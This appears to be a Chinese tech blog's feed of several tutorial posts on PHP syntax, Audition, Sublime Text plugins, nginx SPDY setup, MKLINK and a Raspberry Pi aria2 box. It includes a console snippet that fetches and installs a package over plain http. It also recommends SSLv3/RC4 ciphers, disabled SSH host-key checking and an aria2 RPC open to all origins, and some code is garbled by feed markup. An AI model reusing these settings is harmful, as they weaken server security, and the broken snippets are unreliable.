所以这里用 5-6 秒的时间,保证程序能正常启动。当然,如果程序在这以后发生错误,就无法得知了。
一些程序有 daemon 并自己产生日志文件和 pid 文件,所以不需要所以其他命令;而一些程序没有 daemon,脚本使用 nohup command &
使之在后台运行,使用 $!
获取 pid。
不过像 aria2 这样的奇葩程序,有 daemon 模式却不产生 pid 文件,只有使用 pidof
等命令获取了。
如果存在 pid 文件,但相应的进程却不存在,脚本会删除 pid 文件,并告知用户程序未运行。
再附送个 Windows 下的 sslocal,用 vbs 隐藏 cmd。
]]>if
,while
,for
,foreach
和 switch
。替代语法的基本形式是把左花括号({
)换成冒号(:
),把右花括号(}
)分别换成 endif;
,endwhile;
,endfor;
,endforeach;
以及 endswitch;
。1 |
|
好吧,这是 PHP 官方文档中的内容,不再废话。不过需要注意的是,如果是 PHP 和 HTML 混合的代码,这种写法会降低可读性,因为大部分编辑器不能很好得高亮 if (...) : ... endif;
这样的代码,混合之后,更加难懂。还有一些编辑器对混合代码中的花括号也不能很好得高亮,这种时候只有依靠规范的缩进来增加代码的可读行了。
如果像上面这个例子,同一控制块中只有一个指令,那么花括号、冒号、endif;
等都可以省了。
1 |
|
PHP 不像 Python 一样对换行和缩进敏感,所以你如果不想让人类看懂你的代码的话,把所有代码写在一行也是可行的。
三元运算符(?:
)是一种更简略的写法。
表达式 (expr1) ? (expr2) : (expr3)
在 expr1 求值为 TRUE 时的值为 expr2,在 expr1 求值为 FALSE 时的值为 expr3。
1 |
|
自 PHP 5.3 起,可以省略三元运算符中间那部分。表达式 expr1 ?: expr3
在 expr1 求值为 TRUE 时返回 expr1,否则返回 expr3。
1 |
|
三元运算符适合像上面的例子中那样简单的指令,复杂代码不应该使用三元运算符。
上面这些都是常见的语法,还有一种不常见的语法,虽然能正确执行,但对人类不友好。
1 |
|
这种写法是短路求值,与下面的例子等价,但由于不易理解(还有人说难看),所以不推荐使用。需要注意的是,echo
不能用在这种写法中。
1 |
|
上面这种写法虽不常见,也不推荐使用,但是下面这种写法却是常见的。
1 |
|
这种写法与下面的例子等价。
1 |
|
同样,expr1 and expr2
等价于 if (expr1) expr2;
。
写这篇文章的目的就是提醒 PHP 新手,代码不仅是给机器看的,更是给人看的。写出优雅的、人类易读的代码才是一个优秀的程序员。简写虽然方便,但有时候并不适合,如果学习某些程序,追求简写,甚至是不常见的写法,只会给他人和自己阅读代码造成障碍。
]]>
Adobe Audition 能够很好地分离人声 (vocal) 与背景音乐 (score),这已经成了它的内置 (preset) 功能。随意导入一首含演唱片段的歌曲,在效果器 (effects rack) 里选取预设的“卡拉 OK 机器 (Karaoke Machine)”,播放歌曲便可以去除大部分演唱声音。再进一步,还可以在“立体声成像 (Stereo Imagery)”菜单下的“中置声道提取 (Center Channel Extractor)”对话框里指定演唱者性别,甚至允许手动调节频率过滤器以获得更佳清晰度。
很多时候,背景音乐并不是我们需要的(即使需要,也可以在各种翻唱网站找到伴奏带)。我们需要提取演唱者本人的声音。啊哈,这听起来似乎比消除声音更不靠谱,因为不同乐器有着完全不同的频率和音色,过滤全部乐器比起过滤人类的演唱还要复杂。也许我们可以换一种思路,直接留下过滤出的人声不是更好吗?
首先准备一首流行歌曲,然后寻找质量较高的伴奏带。伴奏所用的乐器必须与原始歌曲相同,因此 YouTube 和 SoundCloud 上各种由爱好者自己演奏的曲风各异的音频就可以省去了。如果官方在 CD 中提供某首歌曲的 Instrumental 或 Off-vocal 版本,恭喜你,这是最佳选择!为了不破坏原始音频文件,需要在 Audition 的“文件”菜单中选择“追加打开”>“至新文件”:
然后选取原始演唱音频,随后重复此操作并选取伴奏音频文件。待全部文件载入完成后,点击“复合音轨”按钮新建多轨会话,指定保存名称和路径后确认即可:
将左侧两个音频分别拖入多轨界面的不同音轨中。考虑到原唱与伴奏在时间上并不一定完全吻合,如有需要,在多轨界面选取曲目中明显音量变化处对其音轨:
试听直至确保音轨几乎完全重合后便进行最关键的一步。双击伴奏音轨,在“效果”菜单中选取“反转”,等待片刻后再次进入多轨界面:
此时上下音轨的左右声道分别呈现明显对称趋势。如有需要,再次放大微调至音轨对齐:
播放歌曲,就只剩下演唱声音了。当然,背景音乐是否能完美消除,还取决于两段音频的背景音匹配程度以及音频质量。
几步简单的操作能够做到这样,对于非专业需求来说想必已经足够。
]]>本期话题是购买机票,原图由 Creative Native 发表在其站点上。
老规矩,最少每周一次更新,希望我能坚持下来……
]]>SublimeCodeIntel 是一个代码提示、补全插件,支持 JavaScript、Mason、XBL、XUL、RHTML、SCSS、Python、HTML、Ruby、Python3、XML、Sass、XSLT、Django、HTML5、Perl、CSS、Twig、Less、Smarty、Node.js、Tcl、TemplateToolkit 和 PHP 等语言,是 Sublime Text 自带代码提示功能的很好扩展。它还有一个功能就是跳转到变量、函数定义的地方,十分方便。
使用 SublimeCodeIntel 之前你需要安装相应程序并把路径写入 `~/.codeintel/config` 或 `project_root/.codeintel/config` 中,ReadMe 中有详细的 [说明](https://github.com/SublimeCodeIntel/SublimeCodeIntel/blob/development/README.rst#configuring),不再赘述。
十分不建议把 SublimeCodeIntel 与其他单个语言的扩展 package 一同使用,虽然很多语言扩展 package 比 SublimeCodeIntel 的代码提示功能要完善。如果需要一同使用,请在用户配置文件(菜单 Preferences -> Package Settings -> SublimeCodeIntel -> Settings - User
中加入下面的内容,并去掉要禁用的语言。
"codeintel_enabled_languages":["JavaScript", "Mason", "XBL", "XUL", "RHTML", "SCSS", "Python", "HTML","Ruby", "Python3", "XML", "Sass", "XSLT", "Django", "HTML5", "Perl", "CSS","Twig", "Less", "Smarty", "Node.js", "Tcl", "TemplateToolkit", "PHP"],"codeintel_live_enabled_languages":["JavaScript", "Mason", "XBL", "XUL", "RHTML", "SCSS", "Python", "HTML","Ruby", "Python3", "XML", "Sass", "XSLT", "Django", "HTML5", "Perl", "CSS","Twig", "Less", "Smarty", "Node.js", "Tcl", "TemplateToolkit", "PHP"]
Alignment 是一个代码格式化插件,它可以使多行代码中的等号对齐,也可以调整多行代码为一个缩进级别,默认快捷键是 ctrl+alt+a
(Mac OS 上是 cmd+ctrl+a
)。
BracketHighlighter 是一个括号、引号、标签高亮插件,支持 []
、()
、{}
、""
、''
和 <tag></tag>
等,比 Sublime Text 自带的高亮要明显得多。
Git 插件集成了 git 的常用功能,使用之前需要安装 git 并写入环境变量中。
SFTP 插件可以使用 FTP 或 SFTP 协议连接远程服务器,下载到本地的文件在保存的同时会上传到服务器上,使修改服务器上的文件变得更加方便。此插件是收费插件,不注册的话会每隔一段时间弹出提示。
安装好插件后点击菜单 File -> SFTP/FTP -> Setup Server...
来生成一个配置文件,修改好并保存后,点击菜单 File -> SFTP/FTP -> Browse Serve...
来连接远程服务器。
**注意**:
1. 配置文件应该存放在菜单 Preferences > Browse Packages…
下的 User/sftp_servers
目录下。
2. 如果在 Windows 下使用 ssh 而不是密码连接远程服务器,要用 PuTTY 把私钥转换为 ppk 格式才能使用。
SFTP 还支持对一个文件夹进行映射。首先往 Sublime Text 拖入一个文件夹或点击菜单 Project -> Add Folder to Project...
,在侧边栏中右键点击该文件夹,选择 SFTP/FTP -> Map to Remote…
。这会在该目录中生成一个 sftp-config.json
文件,修改好配置文件并保存后,我们就可以对远程服务器上的文件(夹)进行(批量)同步或修改了。
--with-openssl
参数虽然可以指定 OpenSSL 路径,但只支持 OpenSSL 的源代码,不支持已编译好的 OpenSSL。每回更新 nginx 都要重新编译 OpenSSL 肯定很麻烦,于是经过一番搜索后,从 nginx forum 找到了解决方案。
修改 auto/lib/openssl/conf
大约第 31 行至 35 行,把
CORE_INCS="$CORE_INCS $OPENSSL/.openssl/include"CORE_DEPS="$CORE_DEPS $OPENSSL/.openssl/include/openssl/ssl.h"CORE_LIBS="$CORE_LIBS $OPENSSL/.openssl/lib/libssl.a"CORE_LIBS="$CORE_LIBS $OPENSSL/.openssl/lib/libcrypto.a"
改为
CORE_INCS="$CORE_INCS $OPENSSL/include"CORE_DEPS="$CORE_DEPS $OPENSSL/include/openssl/ssl.h"CORE_LIBS="$CORE_LIBS $OPENSSL/lib/libssl.a"CORE_LIBS="$CORE_LIBS $OPENSSL/lib/libcrypto.a"
这样,我们就可以在编译安装 nginx 时,手动指定已编译好的 OpenSSL 了,比如 --with-openssl=/usr/local/openssl
。
本文将为你介绍最受欢迎的 50 个 Sublime Text 插件,大部分插件来自于 Package Control 上的热门榜单。由于 Sublime Text 2 不再更新,Sublime Text 3 也已经稳定,所以替换了几个不支持 Sublime Text 3 的插件。
本文所介绍的一部分插件并未在 Package Control 中包含,或 Package Control 中包含的是此插件的 Sublime Text 2 版本,所以你需要手动安装它。
打开菜单 Preferences -> Browse Packages…
,使用 git clone
命令在此目录克隆,然后使用 git checkout
命令切换到 Sublime Text 3 版本所在分支。当然你也可以直接下载这个分支的压缩文件并解压到此目录,但这样无法使用 git pull
命令获取更新了。
提到 Sublime Text,就不得不说 Package Control,就像 Linux 下的 apt-get 和 yum 一样,它是 Sublime Text 的包管理器,你用它可以轻松地找到你想要的插件和管理已有插件。
安装 Package Control 十分简单,只需要打开控制台(菜单 View -> Show Console
或快捷键 `ctrl+``),将下列代码粘贴进去即可。
import urllib.request,os; pf = 'Package Control.sublime-package'; ipp = sublime.installed_packages_path(); urllib.request.install_opener( urllib.request.build_opener( urllib.request.ProxyHandler()) ); open(os.path.join(ipp, pf), 'wb').write(urllib.request.urlopen( 'http://sublime.wbond.net/' + pf.replace(' ','%20')).read())
Emmet 是一个前端开发的利器,其前身是 Zen Coding。它让编写 HTML 代码变得简单。Emmet 的基本用法是:输入简写形式,然后按 Tab
键。
比如,输入 html:5
,然后按 Tab
键,就会产生如下的代码:
Document
更复杂的比如 ul#nav>li.item$*4>a{Item $}
:
* [Item 1]()* [Item 2]()* [Item 3]()* [Item 4]()
关于 Emmet 的更多用法,请看官方文档,这份速查表可以帮你快速记忆简写形式。
Soda Theme 是最受欢迎的 Sublime Text 主题。
安装后你还需要在你的配置文件(菜单 Preferences -> Settings - User
)中加入 "theme": "Soda Light.sublime-theme"
或 "theme": "Soda Dark.sublime-theme"
。要达到图中的效果,你还需要下载与之搭配的 color scheme。
如果你喜欢 Soda Dark 和 Monokai,我建议你使用 Monokai Extended (GitHub)。这个 color scheme 是 Monokai Soda 的增强,如果再配合 Markdown Extended (GitHub),将大大改善 Markdown 的语法高亮。
注意:此插件需要手动安装并切换到 sublime-text-3 分支。
SublimeLinter 是一个代码校验插件,它可以帮你找出错误或编写不规范的代码,支持 C/C++、CoffeeScript、CSS、Git Commit Messages、Haml、HTML、Java、JavaScript、Lua、Objective-J、Perl、PHP、Puppet、Python、Ruby 和 XML 语言。
在使用 SublimeLinter 之前,你要安装相应的程序,详见README。如果要校验 JavaScript 或 CSS,你还要安装 Node.js。
SublimeLinter 默认以 background 模式运行,在用户输入的同时即时校验,如果你想要 Sublime Text 运行得更流畅,可以改为 load-save 模式或 save-only 模式,在读取和保存是校验或只在保存时校验。
打开 SublimeLinter 的配置文件:菜单 Preferences -> Package Settings -> SublimeLinter -> Settings - User
,加入 "sublimelinter": "load-save"
或 "sublimelinter": "save-only"
SideBarEnhancements 是一款很实用的右键菜单增强插件,有以 diff 形式显示未保存的修改、在文件管理器中显示该文件、复制文件路径、在侧边栏中定位该文件等功能,也有基础的诸如新建文件/目录,编辑,打开/运行,显示,在选择中/上级目录/项目中查找,剪切,复制,粘贴,重命名,删除,刷新等常见功能。
SideBarEnhancements 还有一个功能就是自定义打开文件的程序,在侧边栏中右键点击一个文件(夹),选择 Open With -> Edit Applications
就可以修改关联了,配置文件自带示例,可以很方便地套用。
Copy as Text...
是 SideBarEnhancements 的又一个特色功能,可以复制包含各种形式的路径、URL(甚至包括 base64 的 data:uri)、转码后的文件名、各种 HTML Tag(a、img、script、style)等。
我总是喜欢把简单的事情复杂化,所以就有了下面这个奇怪的脚本,可能有 bug。
其实 PHP 做这种事不方便,有空再写个 shell 的,扔 cron 自动执行。
]]>
SPDY 是 Google 开发的基于传输控制协议(TCP)的应用层协议,开发组正在推动 SPDY 成为正式标准(现为互联网草案)。SPDY 协议类似于 HTTP,但旨在缩短网页的加载时间和提高安全性,通过压缩、多路复用和优先级来缩短加载时间。
SPDY 并不是首字母缩略字,而仅仅是“speedy”的缩写,意为“更快”,现为 Google 的商标。
Google Chrome 用户打开 chrome://net-internals/#spdy
就会发现你已经在使用 SPDY 协议了。
Nginx 的配置方法:
Redhat 系自带的 OpenSSL 版本过低,不支持 SPDY,直接使用会报错以下错误(Debian 系、ArchLinux 等源里软件更新较快的用户可以忽略):
nginx: [warn] nginx was built without OpenSSL NPN support, SPDY is not enabled for 0.0.0.0:443 in ...
所以你要先下载最新的 OpenSSL,目前是 1.0.1e,这里是下载列表,红色标注的就是最新版了。
只下载、解压即可:
cd /tmpwget http://www.openssl.org/source/openssl-1.0.1e.tar.gztar zxvpf openssl-1.0.1e.tar.gz
然后下载最新的 Nginx,解压、编译、安装:
cd /tmpwget http://nginx.org/download/nginx-1.5.4.tar.gztar zxvpf nginx-1.5.4.tar.gzcd nginx-1.5.4./configure --with-http_ssl_module --with-http_spdy_module --with-openssl=/tmp/openssl-1.0.1emakemake install
注意:这里的配置只是启用 SSL 和 SPDY 所需的最小参数,生产环境中可能需要更多参数,比如我的,
./configure\ --prefix=/usr/local/nginx --conf-path=/home/www/etc/nginx/nginx.conf --error-log-path=/home/www/log/nginx/error.log --http-log-path=/home/www/log/nginx/access.log --pid-path=/var/run/nginx.pid\ --lock-path=/tmp/nginx.lock --user=www --group=www --with-ipv6 --with-http_ssl_module --with-http_spdy_module --with-http_gzip_static_module --with-http_stub_status_module --with-http_flv_module\ --with-http_mp4_module --add-module=/tmp/nginx-accesskey-2.0.3 --http-client-body-temp-path=/var/tmp/nginx/client_body --http-proxy-temp-path=/var/tmp/nginx/proxy\ --http-fastcgi-temp-path=/var/tmp/nginx/fastcgi --http-uwsgi-temp-path=/var/tmp/nginx/uwsgi --http-scgi-temp-path=/var/tmp/nginx/scgi --with-openssl=/tmp/openssl-1.0.1e
如果是升级的话,编译完成后不要再执行 make install
,不然会把原有的配置文件覆盖,正确的方法是直接删除旧的,把新的复制过去后执行 make upgrade
:
rm -f /usr/local/nginx/sbin/nginxcp objs/nginx /usr/local/nginx/sbin/nginxmake upgrade
Nginx 配置文件示例(有删减,不要直接使用):
server{ # 合并 http/https 主机 listen 80; # 开启 ssl & spdy listen 443 ssl spdy; # 主机名 server_name www.sinosky.org; # 为这个虚拟主机指定 PEM 格式的证书文件,这个文件可以包含其他的证书和服务器私钥,同样,密钥也必须是PEM格式 ssl_certificate /home/www/etc/ssl/certs/main.crt; # 为这个虚拟主机指定 PEM 格式的私钥 ssl_certificate_key /home/www/etc/ssl/private/main.key; # 指出为建立安全连接,服务器所允许的密码格式列表,密码指定为 OpenSSL 支持的格式 # http://www.openssl.org/docs/apps/ciphers.html ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-RC4-SHA:ECDHE-RSA-AES128-SHA:AES128-GCM-SHA256:RC4:HIGH:!MD5:!aNULL:!EDH:!CAMELLIA:!PSK:!SRP; # 指定要开启的 SSL 协议 ssl_protocols SSLv3 TLSv1 TLSv1.1 TLSv1.2; # 优化 SSL 的访问速度和资源消耗 # 依赖 SSLv3 和 TLSv1 协议的服务器密码将优先于客户端密码 ssl_prefer_server_ciphers on; # 设置储存 SSL 会话的缓存类型和大小 ssl_session_cache shared:SSL:10m; # 设置客户端能够反复使用储存在缓存中的会话参数时间 ssl_session_timeout 10m; # 不设置以下两项,Firefox 会报 sec_error_ocsp_unknown_cert 错误 # 启用 OCSP 响应验证服务器 ssl_stapling on; # CA 证书,可以与服务器证书放在一个文件里 ssl_trusted_certificate /home/www/etc/ssl/certs/main.crt; # 以上设置在官方文档都有详细说明 http://nginx.org/en/docs/http/ngx_http_ssl_module.html # 强制使用 https(http 跳转到 https),$ssl_protocol 为所用的 SSL 协议,如果为空就一定是 http 了 # 除此外的检测方法还有 $server_port = 80、$scheme = http、error_page 497 等,下面会详细说明 if ($ssl_protocol = "") { return 301 https://$server_name$request_uri; } # HTTP Strict Transport Security,简称 HSTS # 当用户在浏览器输入不带协议的网址的时候,自动识别协议为 https,而不是 http # 如果你的子域没有全部部署 https,请去掉 includeSubDomains add_header Strict-Transport-Security "max-age=31536000; includeSubDomains";}
关于强制使用 https(http 跳转到 https),最常见的是配置两个主机,一个监听 80,一个监听 443,监听 80 的那个直接转发到 443。
不常见的方法还有:合并 http/https 主机,检测 $server_port = 80
、$scheme = http
或发送 error code 497
等。
$server_port
是浏览器请求到达的服务器端口号;$scheme
是所用的协议,有 http 和 https,不过使用 $ssl_protocol
和这两种检测方法对于 http://www.sinosky.org:443
无效,最典型的例子就是 phpMyAdmin 在登录时会请求 http://www.sinosky.org:443
。
497 是 nginx 的状态码,意思是 The plain HTTP request was sent to HTTPS port
,虽然也能起到跳转的作用,但返回到客户端是 302 而不是 301,不过对于 http://www.sinosky.org:443
有效,建议配合前面 3 种方法一块使用。
下面是 3 种方法的示例:
if ($server_port = 80) { return 301 https://$server_name$request_uri;}if ($scheme = http) { return 301 https://$server_name$request_uri;}error_page 497 https://$server_name$request_uri;
再提示一点,证书文件一定要含有签发证书的 CA 和 根 CA 的证书,并配置 ssl_trusted_certificate
(nginx)或 SSLCertificateChainFile
(apache),否则浏览器可能无法识别证书链。服务器的证书在最上面,二级 CA 在中间,最后是根 CA,顺序不能错。
比如 StartSSL 的证书(来自官方的说明),先获取 CA 的证书然后合并:
wget http://www.startssl.com/certs/ca.pemwget http://www.startssl.com/certs/sub.class1.server.ca.pemcat ssl.crt sub.class1.server.ca.pem ca.pem >> /home/www/etc/ssl/certs/main.crt
配置完成后,执行 /etc/init.d/nginx reload
或 /usr/local/nginx/sbin/nginx -s reload
重载 Nginx 配置文件即可正常访问了。
强制使用 HTTPS 以后,博客垃圾评论大量减少了;开启 SPDY 后,载入速度有显著提升。
]]>
从第一个版本发布到现在半年多了,我决定不再维护 YouBBS for BAE,原因很多,主要有以下几点:
1. 同类程序过多。虽然几乎每天都有新点子冒出,但大多是别人已经有的功能,我不过是造轮子。已经有很多功能强大,而且开源、免费的论坛程序了。
2. 关注度不高,我也没有建立论坛的意愿,现在的社区是为 demo 而设。
3. 能力有限,无法写出一个满意的程序。
4. 代码风格不一致。由于是一个分支版本,所以有很多代码的风格不一致,导致代码不美观。
5. BAE 的 API 经常变动,PaaS 的限制太多。
同时,社区将下线,GitHub 上的项目会保留,但本地下载将删除。
最后,再次感谢 ego008 的开源精神以及 YouBBS。
]]>/usr/local/mysql/var/
里,升级 MySQl 的时候不小心一块删了。由于这两天在升级 MySQL 和 WordPress,想着都弄完之后再重新备份,就把本地的备份也删了。
我是在升级完 MySQL 才想起来数据库在 /usr/local/mysql/var/
的,所以从硬盘恢复根本不可能了。不过还好有 Google 网页快照存在,文章和评论都能恢复。下一步准备对抓取到的内容进行处理,争取尽快完成。
现在人们不断加快生活的节奏,传统的长篇大论的文字新闻很难再激起人们的阅读兴趣(特别是 CCTV 的新闻),即使真的因为标题吸引人而打开完整文章,恐怕能够坚持一篇篇看完的人也不是多数(至少我是如此),于是“信息图”应运而生。将多渠道收集来的信息以图表的方式展现,少了枯燥的文字,多了生趣的对比,近年来吸引了不少支持者。
于是我决定“与时俱进”(明明是跟风…)为 SinoSky 增加这个栏目,先在 8 月份试行。起始阶段频率不会太高,一般是每周筛选出 1~2 幅图片,关注点不限(其实是科技类为主),来源不限,但最终都会翻译为通俗易懂的简体中文。
闲话不说,上第一张图:《国际互联网上的 60 秒》。原文在此(英文):http://blog.qmee.com/qmee-online-in-60-seconds/
]]>
升级说明:
UPDATE yunbbs_settings SET value = '/static/default/jquery-2.0.3.min.js' WHERE title = 'jquery_lib';ALTER TABLE yunbbs_articles ADD top tinyint(1) NOT NULL default '0';INSERT INTO yunbbs_settings VALUES('hide_nodes', '');
下载地址:
注意:请访问 /install 安装,而不是 /install.php。
]]>详见 官方介绍。
本文主要记录我在使用 AWS EC2 过程中所遇到的一些细节问题,权当备忘。
开通 AWS 需要信用卡,没有的话用财付通的运通虚拟卡也可以,具体的申请过程网上到处都是,不再赘述。
直接在控制台新建实例的话,可供选择操作系统较少,其实我们可以在 AWS Marketplace 选择免费的系统购买,然后再新建实例。
注意选择 Launch with EC2 Console
除了要配置操作系统中的防火墙外,还要配置控制台中的 Security Groups。
把常用的端口如 22 80 443 等打开,如需支持 ping,请按下图设置:
实例的 ip 是动态的,重启后会更换,我们可以给它绑定一个静态 ip,每个实例可以免费绑定一个 Elastic IP。
可以把 ip 绑定给实例或网卡
我们可以直接在控制台生成 key pair,也可以导入自己的 public key:
]]>
随着用户的增多,网站的开销也越来越大,如果您喜欢我们的网站,请赞助我们,您的捐款将仅用于网站的运行与维护。
由于不少人要源码,我在这里说明一下:
]]>
这一次推荐的是两个网站,一个针对 Web 编程,另一个适合多语言强迫症。
第一个登场的是 Codecademy,这个网站在去年很风光,不仅吸引了纽约知名州长加入,还获得几轮融资(有一次高达千万哦)。一开始我也只是抱着尝鲜的态度去玩 Python,玩了一段时间感觉不错。但正要推荐时却发生一件大事,Codecademy 数据库出错(被盗?意外?傻傻分不清楚……),部分用户信息、徽章和学习进度丢失,很不幸地把我也包括了进去……于是我万念俱灰(好吧,找到合适的词我会换一个),再也不理会 Codecademy 发送的任何邮件,无论其中的言辞多么激烈、诱人,都被我义无反顾地扔进垃圾箱(Gmail 过滤器乱入:世界上有两种 E-Mail,一种叫 E-Mail,一种叫 G-Mail。——转自 G+)。小半年之后的上一周,由于诸多因素,重新回到 Codecademy 的怀抱,这一次从零基础 Web Fundamentals 一点点学起,既是巩固,也算查漏补缺。(我会告诉你我的 HTML 水平本身就只适合 Fundamental 吗?)这一次令我比较欣慰的是,Codecademy 新版可视化编辑器较以前有了很大进步(虽然还是有 bug,比如字体大小识别问题),并且适合学习的编程课程也渐渐增多。现在又爱上了这个网站,每天不去拿几个徽章就觉得手痒。
在线学习网站不少,至于为什么选择 Codecademy,我有以下理由:
Codecademy 唯一美中不足的是,课程是用英语教授的。但相信这对于生活在新东方、新航道泛滥国度内的同学们并不是什么极限挑战。
既然说到了英语,再介绍一个与 Codecademy 风格相似的学习网站,不过与编程没有半毛钱关系:Duolingo,让你在西班牙语 (es-MX)、英语 (en-US)、法语 (fr-FR)、德语 (de-DE)、葡萄牙语 (pt-PT) 和意大利语 (it-IT) 之间以任一语言为母语学习其它语言……很难理解?试试不就知道了。另外 Duolingo 也有相应移动应用,使得语言学习方便、快捷。
其它不多说,亲自去体验才是最重要的。
最后提醒:访问国外网站对网速要有耐心。
]]>MKLINK
适合需要经常在不同位置访问同一个文件的人,说白了就是不把一个文件复制、剪切多次,却还能够让不同程序在不同路径读取同一个文件。
MKLINK
的基础命令如下:
BOOTMGR
文件,大小为 0 字节,但编辑时确是 C:\BOOTGR
的内容。(系统启动文件,不要真编辑里面的内容了……)mklink D:\BOOTMGR C:\BOOTMGR
/j
参数表示链接源、目标都是文件夹。这样做可以在你的 D 盘创建一个 Windows
文件夹,里面的内容与 C:\Windows
一模一样,不占空间(显示为与 C:\Windows
一样大)且修改也会及时同步到 C 盘。如果能把 C 盘隐藏的话,你完全可以说 Windows 安装在 D 盘。mklink /j D:\Windows C:\Windows
日常操作知道这两个命令就够了,太高深的也不做介绍。需要注意的是与快捷方式的相同与不同之处:
快捷方式无论目标是文件还是目录,生成的都是新的有内容的 .lnk
文件,打开时是打开的源路径,直接编辑则是编辑 .lnk
文件的内容,源文件/目录不受影响。MKLINK
生成的文件和目录都是 0 字节,但访问时仍然是新文件/目录的路径,且编辑操作编辑的是源文件/目录;原理相当于网盘的同步,只不过不通过网络、不占用空间。
删除两者生成的目标文件/目录都不会对源文件/目录产生影响。但删除源文件/目录后,新路径都不再可用。
实例 1:给 C 盘减负
不少驱动程序都会自动在 C:\Program Files\InstallShield Installation Information
目录中留下安装程序备份用于卸载,其实有谁没事卸载驱动玩?但这却是 C 盘主要的空间杀手,也是 InstallShield 通常被人们诟病的地方。
于是,为了节省系统盘空间,可以在安全模式中 C:\Program Files\InstallShield Installation Information
剪切到 E 盘(需要先显示系统隐藏文件夹),利用 MKLINK
让系统误以为没有移动(注意别清理优化时手快删了就行)。
剪切完之后,执行一下
mklink /j "E:\InstallShield Installation Information" "C:\Program Files\InstallShield Installation Information"
大功告成!
这个方法同时适用于许多已安装的 Windows 程序(例如 Office 等),这些程序在注册表中留有许多信息,不能随意移动原来路径下的文件。但等到 C 盘空间不足时,可以考虑把他们剪切出来,再用 MKLINK
链回去。
实例 2:整合游戏客户端
《魔兽世界》是个很流行的网络游戏,不少玩家却因为不同地区游戏版本不同饱受折磨。其实客户端中大部分文件都可以通用,只有几个目录需要根据连接的服务器做调整,但是客户端只会死板的访问自己路径下的文件。于是把这些特殊目录、文件单列出来,需要连接哪个服务器就把目录链回去。
这是一个脚本的部分命令,大量用到了 MKLINK
,用于在不同服务器之前切换,却不需要重复下载、来回复制文件。
:TWECHO.copy /y /v ".\@TW@\.agent.db"mklink "Battle.net.dll" ".\@TW@\TW@Battle.net.dll"mklink "Battle.net-64.dll" ".\@TW@\TW@Battle.net-64.dll">Launcher.db set /p=zhTWLauncher.db set /p=zhCN Launcher.db set /p=enUS 实例 3:隐藏私密文件
由于
MKLINK
生成的文件/目录并不继承源文件/目录的属性,这个特点可以用来直接访问隐藏文件。在
C:\Windows
中新建Photos
目录,把个人照片拷进去,执行命令attrib +s +h +r C:\Windows\Photos\*.* /s /d就可以让
Photos
目录进行系统级隐藏,即使打开普通的显示隐藏文件和文件夹
开关也看不到。然后插入自己的 U 盘,执行
mklink /j "U:\我的照片" "C:\Windows\Photos"以后就可以通过 U 盘直接访问 Photos 中的照片,路径仍然显示为
U:\我的照片
而不至于暴露。除非有人花时间在
]]>C:\Windows
中隐藏文件中仔细查找,否则绝大多数情况下,照片都是安全的。
一. 准备
树莓派,红板(Made in China)比较便宜, 也没发现有什么质量问题
4G 以上 SD 卡,推荐 class 10,树莓派支持的 SD 卡列表
5V 电源,最低 700mA,推荐 1A 以上
有源 USB Hub,推荐使用有隔离的,即不能向树莓派反向供电的
移动硬盘、网线、USB 键鼠(可选)、HDMI 线或 HDMI 转 DVI 线(可选)
二. 安装及配置系统
官方的下载页面提供了四种镜像供选择,我推荐 Linux 初学者使用 Raspbian “wheezy”,有一定经验的 Linux 用户使用 Arch Linux ARM,本文以 Arch Linux ARM 为例。
Windows 下使用 Win32 Disk Imager 写入镜像到 SD 卡,Linux 下使用 dd
命令写入。Raspberry Pi 和 Arch Linux 的官方 wiki 都有详细说明,不再赘述。
注意:引导在镜像中就已经配置好了,直接把镜像写入 SD 卡中就可以使用,不需要其他操作。
Arch Linux 的官方 wiki 有安装系统的详细说明,这里亦不再赘述。如果只是用 Raspberry Pi 当下载机的话,配置好 ip 就可以了,如果路由器使用 DHCP 自动分配 ip,则插上电源和网线就行了。
为了方便,本文使用 ssh
管理 Raspberry Pi。
初次使用你需要以类似 ssh root@192.168.1.3
来登录 Raspberry Pi。为了不每次登录时都输入密码,你可以使用 ssh-keygen -t rsa
生成密钥对,并把公钥加入到 ~/.ssh/authorized_keys
中。然后编辑本机上的 ~/.ssh/config
,加入
Host pi HostName 192.168.1.3 User root StrictHostKeyChecking no UserKnownHostsFile=/dev/null
然后你就可以使用 ssh pi
来登录 Raspberry Pi 了。
/etc/pacman.d/mirrorlist
(可选),默认国内用户使用清华大学的源,但那个源经常挂,推荐使用美国加利福尼亚的源。注意:Arch Linux 和 Arch Linux ARM 的源不一样,不要混用!
配置开机自动登录 root,参见官方 wiki。
编辑 /etc/fstab
,实现开机自动挂载移动硬盘,比如
UUID=000AE1FF0005EA71 /media/System ntfs-3g defaults,nofail 0 0UUID=000A675F0001C38E /media/Files ntfs-3g defaults,nofail 0 0
关于 fstab
的详细说明及挂载选项,参见官方 wiki。
三. 安装及配置 aria2
pacman -S aria2 nginx gitsystemctl enable nginx
~/.aria2/aria2.conf
,所有选项见官方文档,以下是一些示例# 断点续传continue=true# 以后台程序运行daemon=true# 下载目录,没有该目录用 mkdir 命令新建,不然会报错dir=/media/Files/Downloads/# 开启 rpc 模式enable-rpc=true# 关闭文件预分配,建议关闭,不然下个大文件得等半天file-allocation=none# 命令行模式下多任务下载force-sequential=true# 读取下载进度文件,没有该文件用 touch 命令新建,不然会报错input-file=/media/Files/Downloads/aria2.session# 保存日志到文件,没有该文件用 touch 命令新建,不然会报错log=/var/log/aria2.log# 日志级别log-level=notice# 最大同时下载任务数max-concurrent-downloads=3# 同服务器最大连接数max-connection-per-server=5# 开启命令行模式下的参数化模式,比如 http://{sv1,sv2,sv3}/foo.iso 或 http://host/image[000-100:2].imgparameterized-uri=true# YAAW 需要rpc-allow-origin-all=true# rpc 模式下,允许从外部访问rpc-listen-all=true# 保存 BT 种子和磁力链接的元数据rpc-save-upload-metadata=true# 保存下载进度到文件,没有该文件用 touch 命令新建,不然会报错save-session=/media/Files/Downloads/aria2.session# 自动保存下载进度到文件的时间save-session-interval=60# 单文件最大线程数split=5
~/.bash_profile
if [ ! -d "/media/Files/Downloads/" ]; then mkdir '/media/Files/Downloads/'fiif [ ! -f "/media/Files/Downloads/aria2.session" ]; then touch '/media/Files/Downloads/aria2.session'fiif [ ! -f "/var/log/aria2.log" ]; then touch '/var/log/aria2.log'fiaria2=ps -ef | grep 'aria2c' | grep -v 'grep aria2c'if [ -z "$aria2" ]; then /usr/bin/aria2cfi
删除 /usr/share/nginx/html/
,下载 webui-aria2
rm -rf /usr/share/nginx/html/git clone https://github.com/ziahamza/webui-aria2.git /usr/share/nginx/html/
现在我们能通过 http://192.168.1.3/
访问 webui-aria2 了。
